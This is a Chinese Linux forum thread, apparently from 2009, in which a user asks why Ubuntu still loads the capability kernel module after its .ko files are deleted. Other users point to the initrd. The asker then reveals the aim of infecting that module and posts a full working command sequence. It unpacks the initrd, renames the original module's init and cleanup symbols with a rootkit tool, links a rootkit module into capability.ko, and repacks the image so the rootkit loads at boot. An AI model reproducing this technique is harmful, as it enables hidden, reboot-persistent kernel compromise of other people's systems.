ubuntu的lkm模塊是怎么自動(dòng)加載的呢？

hackisle

遇到一個(gè)很奇怪的問(wèn)題，為什么我把/lib/modules/2.6.20-15-generic下的capability.ko文件刪除了系統(tǒng)還能正確加載capability模塊呢？

我在系統(tǒng)中只找到兩個(gè)capability.ko并全部刪除了，可是系統(tǒng)重啟后模塊還是會(huì)自動(dòng)加載，是有其他的備份文件嗎？

lxyscls

這個(gè)~
你查一下etc下面的文件是如何啟動(dòng)加載模塊的好了~
init.d X11, rcS.d等下面的東西~

superfight

還有一個(gè)INITRD吧~ 會(huì)不會(huì)是在這里面加載的~

liying_gg

strace modprobe capability看一下加載得是哪里的ko

wheel

initrd-xxx.xxx.xx.img里的。。用cpio解開就知道

hackisle

郁悶，本來(lái)想通過(guò)感染capability模塊實(shí)現(xiàn)自動(dòng)加載的，這下沒(méi)戲了

hackisle

cp /boot/initrd.img-2.6.20-15-generic initrd.img-2.6.20-15-generic.bak
cp initrd.img-2.6.20-15-generic.bak initrd.img.gz
gunzip initrd.img.gz
mkdir initrd
cd initrd
cpio -id<../initrd.img
cd ./lib/modules/2.6.20-15-generic/kernel/security
mv capability.ko old.ko
/tmp/rootkitl/chstr old.ko init_module init_000000
/tmp/rootkitl/chstr old.ko cleanup_module cleanup_000000
ld -r /tmp/rootkitl/capability.ko old.ko -o capability.ko
rm old.ko
rmmod capability
insmod capability.ko
cd /tmp/rootkitl/initrd
find .|cpio -oH newc|gzip -9>/boot/initrd.img-2.6.20-15-generic

終于成功了
：）

[ 本帖最后由 hackisle 于 2009-7-25 14:24 編輯 ]